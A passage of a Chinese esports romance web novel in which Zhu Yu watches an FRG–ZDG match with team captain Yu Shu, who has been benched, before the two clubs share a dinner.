“哦哦。”造型师又快速把衣服叠好准备给放进去,撑袋子的时候瞅见最底下放着一件黑色外套。 这不是FRG的定制外套吗?怎么会在琦哥这里? 她记得这是只有俱乐部队员和教练才有的…… 助理也看见了,“是不是琦哥装错了啊?” “不知道啊。”造型师耸了耸肩,把衣服装好放在原位,尽量恢复原状。 过了会儿,一个挂着工作牌的男人站在门口,找到祝愉,“比赛快开了,我这边带您过去。” 祝愉起身走到门口,问他,“俞述呢?” “嘶……我也没见,您给他发过消息没?” “没有。” “要不我给他打电话问一下他在哪,让他过来一下。” “没事没事,不用了。”祝愉赶忙制止,她就是想把衣服还给俞述,也不用专门让人过来一趟。 “行吧……” 祝愉不知道今天比赛日俞述有没有安排,她还是不要打扰的好,没机会见面的话只能托工作人员给他了。 “诶?王总给我说了,明哥等等也去包厢那边。”男人正好收到王好好的消息,他递过来给祝愉看。 祝愉看了眼,说:“等一下啊。” 她几步走到沙发那把袋子提上,挎着小包,跟着工作人员去vip包厢。 坐在一旁的造型师和助理,面面相觑,紧紧捏着对方的手,木着脸,但眼里满是激动,她们好像发现了什么惊天大瓜。 …… FRG的场馆有两层vip包厢,第一层是供粉丝使用,一共有六个包厢,分3人包厢和10人包厢,票价和权益都不一样。 第二层是客商vip包厢,有 两个入口,供合作方和客户使用,闲置的时候,选手的家人和朋友有时候会来这边看比赛。 祝愉去的是第二层的小包厢,这一层除了她也没有人在用包厢,工作人员将她带上来便匆匆离开,到现场准备维护秩序。 房间内铺着红色印花地毯,中间摆着一套真皮沙发,还带着一张茶几。 桌上有果切和饮料,角落处立着一个小冰箱。 左边一侧则是超大液晶电视,正放着现场比赛的直播。 正前方是透明玻璃,放了几个凳子,看直播还是看现场可以自己选择。 祝愉站在玻璃前看了会儿,粉丝正在进场,刘琦在舞台上等赛前活动的开始。 直播间的视角在评论席,他们讨论着今天这一场谁会胜出。 第二小组的S/A/B分组已经一目了然,不管FRG输或者赢,都会在S组,但谁是S1谁是S2,还未确定。 如果FRG大比分赢,那么他们就是S1。 但输给ZDG,那ZDG不仅是第二小组的S1,也将是所有队伍里的S1。 虽然都是S组,但两家粉丝都不希望主队被别人踩在脚下,1肯定要比2好。 【不是我说,重明下场了还痴心妄想S1吗?好大的脸】 【真烦,重明怎么下场了,还想看他跟枫叶打一场,都是天才中单,让我们看看新老选手的差距呗】 【烁安也不差好吧,以前可是通天代,中野双修,谁还不是天才?】 【但是听说烁安挺内敛的,心态一般】 【换人好啊,现在的比赛早就看腻了,说实话就该来点新血液看看不一样的画面】 【不过瘾不过瘾不过瘾,打个没重明的FRG闹麻了】 【这话说的,重明不是一根手指就能吊打其他中单吗?】 【死串子能不能滚远点】 【第一中单!第一中单!第一中单!第一中单!】 【就贴脸就贴脸就贴脸】 战火一触即发。 …… 第一轮比赛快要开始,俞述还没有来。 虽然主要目的不是见到他,但祝愉心中还是有些落寞。 包厢的冷气很足,吹得祝愉浑身发僵,她找到空调的设置面板,按了半天,温度都还是这么低,手机遥控也连接不了。 她推开门,发现这一层也没有工作人员。 犹豫了片刻,祝愉还是回到包厢,将俞述的那件外套穿在身上。 反正也见不了面,还衣服的事下次再说吧。 …… 第一小局比赛开始,现场热闹一片,FRG粉丝兴奋的同时,更多的是忐忑不安,不知道新上来的选手实力如何,这几个人配合得怎么样。 FRG的半区空了一些座位,大部分都是俞述的粉丝,想着既然看不到本人,就也不用来,正好省了一笔机酒费。 比赛定格在暂停界面。 虽然赛前说了很多,但薰薰在耳麦里又对烁安说了一句,“千万不要紧张,你只要稳住,剩下的交给我们。” 一向咋咋呼呼的薰薰在赛场上像个老大哥一样,鼓励着新人。 “对,我们会部署好的,你一定要听好我的指挥,这一局阵容很好打的。”灼忧也安慰了几句,烁安的心率一直偏高,平时打训练赛都会紧张,更不用说正式比赛了。 飞渊也跟着说:“没关系,你刚上场,紧张是难免的,深呼吸就好。” 烁安跟着吸气呼气,他此时是真的紧张到发抖,他的思绪有点控制不住地朝外发散,万一输了怎么办。 “老大是不是在底下啊,我好像看到他了。” “在哪?” “那边,那个通道门口那。” 几人看过去,俞述对上了视线,点了一下头。 看到队长沉稳的表情,烁安焦虑的心情突然缓解了许多,他不想在偶像面前丢脸,让他失望。 他想赢。 30. 第30章 这一场,俱乐部不打算让俞述坐在教练席跟着看比赛,甚至连赛后互动都没有让俞述参与。 粉丝都在骂俱乐部冷落俞述,其实是老板怕再起一波节奏,干脆等事情有了结果之后再让俞述出现在粉丝面前。 对此,91还在私底下冷嘲热讽了一番,请李由过来的时候怎么没想过节奏大的事,下俞述首发的时候怎么没想过节奏会起飞的事? 现在倒是想起这事来了,贵人多忘事啊? 进入比赛,俞述才转身离开现场。 他推开休息室的门,许枫刚好上完厕所回来,问他,“晚上吃什么,有没有想好?王总说今天打完比赛,两家俱乐部聚一下,交流一下感情。” 俞述反问,“今晚吗?” “对啊,你有事?” “确定不会吵起来吗?” 许枫:“……” 他倒是没想过这事,赢了好说,吃啥都是香的,但是输了还要跟打败自己的队伍吃饭,美名其曰交流感情,这不憋屈吗? “随便,看你们。”俞述过去拔下充电线,登上微信开始看未读消息。 “行,到时候给你发消息。” 联系他的也只有俱乐部的这几人,薰薰的最多。 他先点开五七的聊天框,只有一条,是个微信公众号的链接,标题是“如何靠绿茶追到喜欢的人”。 他点删除的手指犹豫了半刻,还是点开看了几眼。 快速扫完前言,号主开始罗列101条绿茶技巧。 “第一,若有若无的肢体接触,等对方发现后,睁大双眼,无辜地看向对方……” “第二,示弱是最好的追人技巧,可以瞬间让对方心里软的一塌涂地……” “第三,送对方一个极为明显的属于自己的物品,如果有机会可以让对方带出去,并在朋友面前展示……” 什么乱七八糟的。 俞述看了几眼,皱着眉删掉。 手机的屏幕光在俞述脸上忽暗忽亮,他抬头突然问道:“祝愉来了?” “嗯,我听91说来了,你不知道?” 身影匆忙,许枫操心地喊了句,“在二层的小包厢,别走岔了。” …… 今天解说的视角更多地落在烁安身上,企图从中发现FRG轮换中单的原因。 “我们可以看到烁安的武则天熟练度还是不错的,两次闪大开团的时机都找得很好,帮助队伍连拿两条龙,第二条主宰正好能缓解一下兵线压力。” 比赛此时进行到第十二分钟,FRG的中路只剩高地塔,其余两条路各破一座塔,而ZDG只有下路一塔没了,其余分路都还在。 FRG的兵线压力很大,幸亏烁安闪大控制住了对面上野,薰薰操控着大司命在龙坑一侧滑进去抢到了龙,还能再拖几分钟让双C发育,不至于暴毙。 “是的,我们可以看到FRG这边只有武则天一个人可以给视野,他们的阵容带线能力比较差,而狂铁这个时候也只能站在正面,否则大司命一个人是扛不住ZDG的集火,大司命的经济确实有些低,目前场上排名第五,即便做的是肉刀,但是没钱买装备,也跟脆皮没什么区别。” 薰薰有些烦,ZDG的位置部署得很好,苏烈一直在给视野,他6分钟进野区被卡视野照到了,对面连续集火他两次,还吃了他两波野区,现在经济差已经越来越大了。 李由坐在91旁边,对他说道:“薰薰的刷钱思路有问题,这把十二分钟不应该是这种经济差。” 91面色凝重,沉默不语,他戴着耳机在听他们局内的沟通,以前的主指挥是俞述,对打野和射手的关注很多,所谓的中野联动也是不无道理,这样他们可以尽快出一些节奏。 可是坏就坏在FRG现在的主指挥强硬换成灼忧,副指挥由飞渊变成了薰薰,烁安又是新人,没什么经验,意识不足,几个人的状态导致局内一团糟,转线的问题实在是太大了,所有人都有种顾头不顾腚的慌乱和无措,不知道下一步要干什么。 而且ZDG又不是什么弱队,谁跟你来回拉扯?直接等着你犯错,一波就结束比赛了。 现在FRG只剩高地塔,龙兵的效果一般,只是拖了几分钟,他们还是出不去。 91说道:“这几天的训练赛效果都还不错,就是运营方面出了点小毛病,转线很生硬,站位什么的也有问题,导致控制链跟得不是很好,虽然说他们下去了之后也在加训,但指挥真的没办法这么快练出来。” 更何况队内的主心骨不在,几人现在就像是一盘散沙,无从聚起,他们对灼忧做不到百分百信任。 场上的解说继续,“现在已经到了兵临城下的地步,FRG真的要好好想想该做什么了,这会儿可不能犹豫了啊。” FRG拖到了十七分钟,经济马上就要饱和,灼忧即便再慢热,也找到感觉了,他拼命想俞述会怎么下指挥。 灼忧卡着墙边,看到ZDG的双C位置,沉声说道:“能不能接一波。” 飞渊说:“闪现还有十秒。” “辉月八秒。” 五七没有说话,他站在上野身后,如果鲁大能链到,他可以持续跟输出。 “下路高地破了,FRG居然要出来吗?” 观众席,FRG的粉丝已经紧张到不敢说话,即便是第一小局,也不容忽视,领先一分就有试错的机会,落后一分,则要一直有着追平的压力。 “诶?鲁班大师闪现带着狂铁到了艾琳和小乔的脸上啊,武则天开大,大司命卡位置,戈娅在后方输出拉满了!艾琳换不出装扮,小乔靠着炽热躲过一劫,但是又被鲁班大师吸了回来!” 解说的语速飞快,生怕有漏掉的地方。 “FRG终于在最后关头接了一波好bo链,断绝了ZDG一波的机会。” “现在轮到FRG开始出节奏了。” “是啊,你要说起运营,现在的我可能不如你,但是说起联动节奏,我可是靠这个终结过YSG的连胜王朝啊!这会儿终于来到了FRG熟悉的领域。” 兴许是这一波给了众人信心,FRG的进攻猛了许多,颇有想让马快跑,就得来点鞭子的感觉。后面的几波开团可以用美如画来形容,最终在风暴龙王前结束了比赛。 目前比分,ZDG。 …… 祝愉一个人坐着有些无聊,正好小香拍了拍她:【小竹姐,在不???】 她回道:【怎么啦】 小香:【根据我坚持不懈地拍照,终于攒够了一组九宫格,你可以发朋友圈了】 祝愉有些纳闷:【是什么照片?】 小香不语,只是一味地发送照片,不多不少,正九张,全是她和俞述的合照。 祝愉:【这是什么时候拍得!?】 小香:【哈哈哈,趁你们不注意偷拍的】 祝愉无可奈何地笑了笑,【你有当狗仔队的潜质】 小香:【!!!那是娱乐记者】 小香:【不说了,我先遁之】 祝愉一张张翻看,前四张是在锦州拍的照片,天鹅喷泉、书店…… 第五张…… 这一张祝愉一点印象都没有,是回海市的飞机上,她靠着俞述的肩膀在睡觉。 她睡得有那么熟吗?连身边换人了都不知道。 想起后面她还在那别扭,祝愉脸上升起滚烫,自己是不是作过头了啊…… 抿着唇,她继续往下翻。 第六张、第七张、第八张都是在摄影棚的抓拍,每组造型各一张。 最后一张是她举着一张印着俞述的海报,笑容灿烂地看向镜头。 海报是她春决那天在场馆外领的应援,搬家的时候从包里翻出来,拍下了这么 一张照片。 祝愉给小香发了一个红包:【再接再厉】 红包不到半分钟就被领取了,那边发来“遵命,长官”的表情包。 祝愉来回看了几遍,挑出一张不是特别明显的照片,发送给俞述:【我们也有能公开的合照了】 热搜不能提,杂志插图暂时也不能公开,其余的小心思又太明显,想想还真是难办。 “笃笃——” 祝愉起身去开门。 门开,视线上移。 是照片的另一个主人公。 …… 第二局比赛走进第十分钟。 “那对抗路为什么要去这个草呀?”祝愉指了指屏幕上显示的画面。 “排视野,还可以绕后切C位。” “这样啊。”祝愉点了点头,其实她也不知道自己在问些什么,依稀记得几分钟前应该提到过这个问题。 “你有看我发的消息吗?” “什么?”俞述微微歪头,有些不解,说着便掏出兜里的手机,他一路过来,还没有来得及再去看信息。 “没什么!”祝愉赶忙按住他的手,“你晚点再看。” 如果当面看的话她还有点难为情。 俞述欲言又止,但还是听话地收回了手。 这时,解说的声音变得飞快,俞述暂且藏下心中的疑惑,扭头继续看比赛情况。 似是战局不太明朗。 刚刚还顺风的局面,因为龙团的拉扯,FRG这边几乎被团灭,只剩灼忧一人,结局毋庸置疑,ZDG顺利拿下第二小局。 之后的第三小局,FRG这边拿到了张王体系,但配合明显生疏,前期节奏带不起来,后期更是被ZDG的野射压着打,跟上一局结束的时间相差无几。 现场粉丝的心已经微微凉透,他们闭着眼不是在等奇迹降临,而是希望场馆此时能二氧化碳浓度过高,让他们立马晕过去,看不到这糟心的局内。 虽然对这样的比分有所预感,下了指挥后还能拿一分其实已经算是非常不错了。 但一个强队,就因为换了一个中单,却打得如此手无缚鸡之力……这是认真的吗? 第四小局,FRG的阵容中规中矩,但双C都需要经济,拖一拖后期还能打,ZDG的阵容就显得激进许多。 俞述一言不发,神色愈加冷沉,心里盘算着赛后加训的内容。 骤然,嘴边一凉,他下意识地张开,一颗葡萄塞到他的嘴里。 祝愉问了句,“好吃吗?” “嗯。”其实他没尝出什么味道。 “还要吃吗?” 不等他回答,祝愉又给他喂了一颗提子,“这个甜。” 俞述现在嘴里都是葡萄味。 “心情有没有好点?”祝愉在挑哪颗葡萄长得最为喜人,依靠直觉断定它甜不甜。 “有……” “那就好,不是说吃甜的会开心嘛。”祝愉转而拿起荔枝,剥开一半壳,又递给俞述。 “荔枝更甜。” 汁水欲滴。 祝愉的手放得低了些,另一只手伸长在拿茶几上的抽纸。 俞述垂眸,想了半秒,低头咬住那颗荔枝。 祝愉回头便看见了一个毛茸茸的脑袋,高挺的鼻梁轻轻划过她的掌心,指尖除去荔枝的水意还多了一丝软糯。 祝愉下意识地勾了勾指尖。 眼前的人一顿,不自然地将头偏向一边。 他冷着脸,强装着镇定,耳根却红了一片。 他做不到瞪大双眼无辜地看着她…… 耳边传来轻笑,俞述的心更无处安放,他一点会找飞渊算账的。 祝愉丢掉手中的果壳,悄悄捻了捻那还残存着俞述唇温的手指。 虽然不知道怎么了,但俞述刚刚的举动像只小狗一样…… 又乖又可爱。 31. 第31章 俞述想要转移注意力,只能将视线放回比赛。 此时,两队在河道爆发了一次团战,FRG身上有暴君buff,却被ZDG消耗的十分难受,只能一前一后先撤回去补充状态。 双方开始和平发育。 电视声音调得很小,祝愉听不太清解说的声音,她稍稍调大了一点。 “飞渊这一局不太好发挥。” 握着遥控板的手一顿,祝愉开口说:“没事没事,你专心看,我自己听一会儿。” 前几局都是俞述在向她讲解,简洁明了,就算对方是一个不玩游戏的人,听几分钟下来也能明白一些。 祝愉觉得俞述很适合当解说或者教练,他对比赛有着很深的理解。 包括阵容优劣和节奏点在什么时候他都很清楚,每当队伍劣势的时候也能找到破局点,还可以根据选手的操作,判断他们此时在场上进行了什么样的沟通。 祝愉撑着下巴,看了眼比赛,又看看俞述,心中有一丝奇异。 一个多月前,她还在观众席看他解说春决。 但现在,他坐在自己身边。 距离不过半米。 …… 正如俞述说的,这一局FRG的对抗路不好发挥,前期被抓了两次,经济很低,切C切不了,抗伤抗不了,而ZDG的张王熟练度要比他们高太多,局内抓人节奏一波接着一波,搞得FRG连高地塔都不敢出,出了门就会被按,整张地图的视野全黑,挤出去就没命。 十分钟,对抗路死亡次数来到了4次。 祝愉也不免紧张道:“怎么样才能翻盘呀?” “拖到18分钟吧。”俞述看了眼实时经济,差距还很大,不拖就没有了。 十五分钟,FRG上辅挤视野想要出来。 “这不是一个明智的选择啊,FRG女娲的经济还没有完全起来,打野的名刀在刚刚守红野区的时候已经触发了,这一波其实完全没有必要出来的,即便暴君刷新,那硬挤出来又能怎么办呢?”解说摇了摇头。 灼忧不停地切换面板,语速很快,“给视野给视野,然后飞哥去带线。” 女娲探了一下龙坑视野,龙血下了一半。 ZDG这边有所感应地散开,各个位置并没有站在一起,只留打野一个人在龙坑。 龙血消失的速度变得缓慢。 “这个时候视野就可以点到为止了,最好的办法是去换龙,但是FRG则继续选择让边路带线。” 烁安尝试用大招抢龙,但是ZDG的打野刻意多等了几秒,用惩戒拿走了龙。 “没事,视野挤到这就可以了,先不要回正面。”灼忧排完草下命令。 飞渊皱了皱眉头,只是连续看了几眼经济面板,提醒到对面的野射可能在红区,但灼忧还是继续选择让飞渊带线。 俞述说:“他们在赌ZDG会不会留人回去防守,这样正面就是四打四。” 上一个大场,ZDG有一局是被偷家输的,他们复盘过后应该会更加注意兵线,不会重蹈覆辙。 “狂铁回去了。”俞述淡淡说道。 正面还能拖。 时间来到18分钟,ZDG的两边线劣。 薰薰玩的是元坦,这一套配大乔会流畅许多,但是越需要后期的英雄就越要选手本人对体系有着深刻的理解。 FRG不能拿着不熟的阵容去赌,只能退而求其次选择了烁安熟练的英雄。 但在风暴龙王前一分半的时间,五七探视野过深被抓住了机会,只能交闪往后撤。 “我的我的。”他额前冒出一滴汗珠,也有些心慌。 几人没有说话,只是更加小心专注。 对方率先进入赛点局,给到FRG几人的压力很大,他们没有试错点,更不允许出现失误。 飞渊在过下路兵线,又一次来到对面高地塔下。 ZDG的对抗路身影消失,后草也没有。 灼忧判断对方应该是在对面草丛里回城。 “现在两边各站上下坑,都很小心啊。”解说有着上帝视角,他可以看到ZDG的对抗并没有回城,而是藏着视野,并没有站到正面。 ZDG没有选择回城防守,灼忧在赌,他们又何尝不是在赌,这时候场上的选手都更加紧绷。 但ZDG的指挥要更加果断,龙王打了一半,对抗路藏着视线突然闪现到龙坑将薰薰拍飞。飞渊还在赶来的路上,刚刚最后一个半血的炮车兵被超级兵锤了几下就没了,兵线重新刷新,没办法偷塔,但此时回到正面已为时过晚。 灼忧的苏烈被动落点位置一般,FRG的双C过去踩灯却被龙王击飞,ZDG的众人立马集火虞姬和女娲。 完了……观众眼一闭。 21分09秒,比赛结束,ZDG3:1战胜FRG,荣登S1。 比赛刚结束,网上就吵得天翻地覆,这时候连围观粉丝内战的路人都挤不进去。 【区,五条区,下次希望在臭水沟里见到你们,而不是赛场上】 【妈的打这么烂,退票啊我靠,退钱!!!跑这么远来看你们输是吗?】 【少爷们还是菜系动物,牛逼,这里是菜园吗?全是菜b】 【是区,但还在蠕动,好恶心,呕……谁有杀虫剂啊,重金求】 【本人是ZDG粉丝,以为今晚还能有些看点,没想到打得这么烂,一点观赏性都没有,简直是被完虐好吗?】 【哥几个还挺大方的,啥都给了,咋不给自己留点呢?】 【有一说一,今天一整个大场都很迷,完全不知道他们在打什么,感觉跟几个刚登场的新兵蛋子一样,就会吃野吃兵线,一到打架就跟幼儿园小朋友一样,只会挥出萌萌拳,给我看笑了】 【今天算是知道一个指挥的重要性了,不知道局内谁在指挥,应该是辅助吧,视野明显探得比以前不走心,站位要么太前,要么就不探草,太乱了,而且整场下来都没见过他们主动开团,就你们那配置,能拆几次伙】、 【最后那一波给我看笑了,对抗路不在正面,你他妈的辅助也不知道探草站正面的】 【烁安无功无过吧,但也不亮眼,有他跟没他一样】 此时网上骂的正狠,但大多数粉丝都被俱乐部这半个月的操作给搞得精疲力尽,有些已经被搞得卸载了各个社交软件,最明显的是大眼,战火明显不像以往那样强,断断续续喷了一个多小时,也有些续不上,这时候和事佬出现,都说算了算了,第二轮再看。 晚上临近12点,FRG几人背着包,蹲在走廊里,他们刚结束一波复盘。 凑近,以为看到的是深刻反思的表情,结果是几副垂涎欲滴的馋样。 “今晚真的吃这家自助吗?”五七翻着网上对此餐厅的评价。 好吃,但贵,人均消费888。 “老板发达了肯定要好好犒劳一下我们啊。”薰薰有些兴奋,他听说总公司这次的海外项目赚了九位数,不知道是不是真的,应该会给他们分部拨一笔钱的吧,这样每天的夜宵都可以报销了。 “其实是前段时间卖定制队伍赚的钱。”飞渊浇了一盆冷水。 “哦。”干嘛要说出来…… 烁安偷着笑了几声,被薰薰锁着脖子威胁,让他不准笑。 许枫打了个呵欠,他刚跟老婆视频完,“我不能吃太久, 2点前要回家的。” “啧,谁问你了?”91不满道。 “我自己乐意说行不。”许枫嘲讽,“一大把年纪了连个恋爱都不谈。” “我那是倾尽全部心血,将自己贡献给了电竞事业,现在谈恋爱影响我心态。” “哟哟哟,前几天刘琦给你介绍的那一个呢?” “吹了吧……” “你欠揍是不是?”91捂住他的嘴巴,压低声音,一只手挥着拳头。 灼忧被91不小心捣了一锤,嘴里直叹气,“输比赛了还要被教练打,这日子没办法过了。” “你少给我演。”91前后被夹击,有些忙不过来。 “干嘛呢,不先去吃饭。”王好好背着手从休息室出来,后面跟着李由。 许枫谄媚道:“这不是在等您吗。” 王好好挥了挥手,“赶紧走吧,司机还等着下班呢。” 飞渊环视了一圈,“俞述还没来呢。” “他和祝愉先出去了,应该在车上等我们。”王好好云淡风轻地说道。 “愉姐也来吗?” “来啊,这家属啊,必须得来。”王好好笑眯眯地说。 …… 等待的时间有些漫长,祝愉有点困,没撑住先睡了。 薰薰几人走上大巴车,“孙叔,怎么没开灯啊。” “有人在睡觉。” 司机也觉着有些暗,就开了个暗灯,别让这几个宝贝疙瘩给摔了。 眼前骤然开阔,几人瞧见后排坐着两个人,一男一女。 男人看着窗外,女人枕在男人的肩上,仔细一看,男人的一只手不嫌累似的托着女人的侧脸,让她睡得更舒服。 …… 到了餐厅门口,大巴车来了个急刹,坐在最前面的91一下站了起来。 “我靠,吓死老子了,差点亲玻璃上。”91心有余悸地扶着椅背。 “没看见前面有个台子,对不起啊。” “没事没事。”91也没那么脆,朝后喊道,“下车下车。” “干嘛啊,跟赶猪仔一样。”许枫睁开眼抱怨了一句。 祝愉眼皮动了动,挣扎几秒后彻底睁开。 俞述在她睁眼前一秒便收回了手。 祝愉揉了揉眼睛,发现自己还枕在俞述的肩上,她立马直起身,看了眼手机,都过去快两个小时了,“肩膀麻不麻啊?” 俞述摇了摇头。 祝愉想起之前飞机上他也是这样,不吭不响地撑着她睡了一路,要不是小香给她发照片,她都不知道这事。 前面的人开始收拾东西下车,俞述的包还在行李架上,祝愉起身让开,方便俞述取东西。 俞述只有一个背包,他习惯单肩背着,今天却换了一边。 前面有些拥挤,烁安的背包拉链坏了,一往背上甩,零食四处逃窜,掉落在地上,灼忧和薰薰在帮他捡。 俞述原地站定,微不可察地扭了扭僵硬的脖子。 祝愉尽收眼底,她伸出手,也没有管俞述会不会在意,“我给你捏一下。” 她单手搭上俞述的肩,不知是不是累的原因,俞述的肩膀很是紧绷。 随着力道的加重,俞述肩膀处的酸软逐渐消失,他余光看到祝愉专注的眼神停留在他的身上,连耳边滑落至鼻尖的发丝都没有注意到…… 只捏了半分钟不到,俞述忽然握住她的手腕,“可以了,手会累。” 说完,他避开视线,背着包先下了车。 祝愉手中还残存着他的体温,心却像是浸到温泉里,泉眼咕噜咕噜地冒泡,软成一片。 你为什么这么好呀…… 32. 第32章 餐厅坐落于海市中心花园酒店的顶层,走高端消费路线,所有食材都是当日空运,保证新鲜的同时也能让顾客在国内就能品尝到全球各地的特色美食。 餐厅被FRG的老板包了场,只有两家俱乐部的选手和工作人员。 一行人拖拖拉拉走到餐厅,ZDG的选手们已经吃了一半。 “我靠,我们还没到,你们凭什么先吃上了,尊老爱幼懂不懂。”这还是自五七转会后第一次跟老东家吃饭。 “就是就是。”灼忧扑到枫叶身上。 他是ZDG培养的青训,后来选秀大会被FRG拍走,跟同时期中路位置的枫叶很熟。 “谁让你们输了啊,还得复盘,我们肚子可等不了。”枫叶一脸欠揍。 这话戳到了灼忧的痛处,他今天因为指挥的问题被91翻来覆去地骂,到现在两只耳朵都还疼着,“滚,老子下次绝对赢你们。” ZDG的射手川,也就是姜其然,他最近正在戒烟,叼着一根筷子过瘾,“俞述呢?咋还没来,耍大牌啊。” “在后面。” “诶诶,听说你们队长谈恋爱了啊。”自羽凑过来,眉毛挑得老高。 “这……我不知道,应该吧。”灼忧谨慎了一下,不敢乱说,他们队内起哄还行,别的队就算了。 “啧。”自羽一脸无趣地坐回去。 祝愉和俞述慢悠悠地走在最后。 电梯门开,一道白雾飘向二人。 俞述眉头轻皱,咳嗽了几声。 男人将手中的烟熄灭,走近几步,“刚没看见你,还以为你不来了。” 没等到俞述的回答,那人探头探脑向后看了眼,“准备公开了啊?” 俞述睨了对方一眼,让祝愉先走。 祝愉眼睛被熏的有些疼,走了几步才辨认出来是ZDG的打野莫云。 经过他身边时,他扫了一眼,祝愉以为是要打招呼,结果他开口道:“外套不错啊。” 祝愉低头一看。 她还穿着俞述的外套。 就这么……穿了一晚上…… 莫云来回看了几眼,才懒懒笑道:“嫂子快进去吧,我跟哥聊会儿。” 祝愉不语,抿起唇将外套脱下来塞给俞述,两颊升起薄红,步履匆匆地跟着服务员走向餐厅。 莫云没多看,“嫂子还挺容易害羞。” “有病?不能好好说话?”俞述拉着脸。 “行行行,不说不说。” 莫云也是锦州人,跟俞述关系还不错,就是说话有些欠揍。 “有事快说。” “其实没有事……”莫云咧着嘴。 俞述转身就走。 莫云笑嘻嘻地跟在俞述后面,也没再出声,怕真挨骂。 …… 祝愉进去后找到陈词恩,她和刘琦正坐在吧台聊天。 祝愉一路走过去,受到不少注目礼。 “来啦。”陈词恩端着一杯橙色特调侧脸看向祝愉,“坐坐坐。” “怎么就你一个人?” “他在后面。” “什么他?”刘琦耳朵尖,但不知道说得是谁。 “如意郎君。”陈词恩抿了一口酒。 刘琦一脸惊讶,“你男朋友还来了啊。” 他没听陈词恩说祝愉有谈恋爱啊。 花姐还让他找时间探探口风,说想给祝愉介绍个男朋友。 祝愉尴尬地笑了几下,正要解释,身后响起稀稀拉拉的招呼。 刘琦循声看过去,又一惊,“不会是莫云吧?” 他仔细打量了几眼,莫云比赛后就换了身衣服,整体偏暗黑系风格,仗着骨架小,穿的牛仔裤都是紧身的,一副高街帝打扮。 刘琦一脸怪异。 “不是不是,我没有……” “啊?是俞述啊?”刘琦突然怪叫了一声,惹得餐厅坐着的所有人视线移到这边。 俞述也跟着看了过来。 祝愉如芒刺背,不敢转身。 陈词恩没忍住拧了下刘琦的胳膊,“这哪到哪啊,别乱说。” “嘶……知道了,那你不是说在后面吗?不是莫云就是俞述啊。”刘琦揉着胳膊。 祝愉有些尴尬,“我没有男朋友。” 因为还没有在一起,所以不能算男朋友。 “哦?”刘琦听此,心思一动,“那你最近有没有谈恋爱的打算啊?” 祝愉坐下后要了一杯柠檬水,余光偏向正走向这边的人,心不在焉道:“有……” “那好办了。” 好办什么?祝愉有些茫然。 “一杯柠檬水。”俞述拉开祝愉旁边的椅子坐下,身上还套着祝愉刚刚脱下来的外套。 他带着风来,祝愉第一次在别人的身上闻到自己的香水味…… 祝愉说不清此时的心情,她只知道自己的心口正漾起一抹灼烈感,从心头直至整个心脏,噗呲噗呲地烧了起来。 柠檬水很冰,俞述浅浅喝了几口,手搭在冒了水渍的杯壁,很有耐心地抹去那要落不落的水滴。 祝愉分出一点心神。 他的手看起来很好牵…… 手指很长,手掌也比他大很多…… 陈词恩坐在一旁安静地当着有眼色的路人。 刘琦在一边拿着手机等了半天,花姐才给他发来几张精挑细选的照片。 “小竹,给你介绍个男朋友呗。”刘琦越过陈词恩,将手机递给祝愉,屏幕朝上,一个裸着上身的卷毛男人映入他们眼帘。 “看,帅不帅,188,肱二头肌、胸肌和腹肌都有,这是我们公司最近新签的模特,小奶狗类型的,比你小两岁吧我记得。” “现在弟弟类的可猛了,你要喜欢,我马上把微信号推你。” 俞述眯着眼,“弟弟吗?” “啊?对啊,现在不都喜欢弟弟这一款的吗?”刘琦没管他,继续往后翻。 “这还有其他照片,生活照什么的,你看看。” 俞述的脸色更沉。 陈词恩扶额,不知说些什么。 “不用了。”祝愉神色讪然,推开手机。 “为什么?不喜欢这一款?我们还有。” “不是。”祝愉正了正脸色,“我有喜欢的人了。” “谁啊?” “嗯……不能说。”祝愉悄悄瞥了眼俞述。 “还保密啊。”刘琦挑眉,“他最好帅过吴彦祖。” “嗯,在我心中他很帅。” 哪方面都很帅。 刘琦更好奇了,但还没问几句就被陈词恩拉走了。 “琦哥,我们去看一眼有什么好吃的。”陈词恩回头对祝愉眨了一下眼。 气氛突然变得很安静,只传来几声选手的叫嚷声。 两人都不是多话的性格,祝愉便看着调酒师泡水果茶。 调酒师手起刀落,切水果的动作十分麻利,无籽西瓜被切成小块,还放了青桔和百香果,这会儿在切柠檬。 祝愉稍稍定神,找回语气,“要不要去那边吃点东西。” “好。” 祝愉起身站在他身旁,看俞述脱了外套,问道:“是很热吗?” 俞述多看了她几眼,抿着唇没有开口。 …… 许是受了老板吩咐,在他们来之前,餐厅经理就把中间单独空了出来,摆了一张长桌,可以容纳二十多个人吃饭,刚好有地让这群小子胡闹。 祝愉吃了几口便停下来听他们聊天。 “你不觉得俞述的身材也不错吗?”陈词恩在祝愉耳边轻声说道。 俞述这会儿坐在祝愉对面跟姜其然聊夏季赛的事,聊得很专注,手搭在另一只胳膊上时不时地捏一下,但可以很明显地看到他手臂上鼓起的肌肉。 “他好像在健身。” “刚刚刘琦给你看的那张照片也不错啊,我是瞄见了,身材不错。” 许是对面的视线太过明显,俞述还是忍不住抬头看了眼祝愉,随即又收回视线,但这次多了份心不在焉。 祝愉看了许久,才移开目光,面上绽开笑容。 她好像有些明白俞述为什么会脱外套了。 “你在笑什么?”陈词恩觉得奇怪。 “没什么。”祝愉轻轻摇头,“就是有点开心。” …… 聚餐结束后,一行人走路回俱乐部,顺带消食。 祝愉习惯地走在人群最后,只不过这次,她 身边多了一个人。 安静了没多久,走过住宅区,91拉着ZDG的助教kk开始高歌,如同魔音贯耳,硬是打破了这份宁静。 “别唱了行不行,喝的是雪碧又不是酒,不知道瞎唱什么?”许枫烦得要死。 “你管我,我这释放压力不行吗?”91嚷嚷道。 他这段时间压力大到头发掉得不行,都快秃顶了,好不容易找到机会,能不放松一下嘛。 “随便随便。”许枫也懒得管,走到最后面去跟老婆报备自己走哪了,“刚刚有神经病,老婆,咱俩聊咱的,别管他了。” 91松开已经僵硬成一块石头的kk,转身道:“来,小薰,咱一块唱。” “我不要。”薰薰麻利地躲过91的大手,“我不想再被投稿了。” “什么投稿啊?”祝愉好奇地问了句。 “就是有一次赢了比赛,我们去KTV庆功,不知道什么时候被人拍了视频,放到网上就算了,还去那个电竞营销号投稿,害得我那段时间一直被贴脸,说我是猴嗓,唱歌难听到想吐。”薰薰抱怨道,他都成所有人的笑料了。 “只有你一个人的吗?” “对啊,他们所有人都刚好唱完了,正好挨到我,然后我就被拍了。” “那有点倒霉。”祝愉有些同情。 还没等薰薰继续吐槽,91又转身开始扫射谁会成为他的搭档,薰薰只能一躲再躲,藏到许枫后面。 91眯了眯眼,暂且放过他。 “烁安,你过来。”又一个软柿子被捏到了。 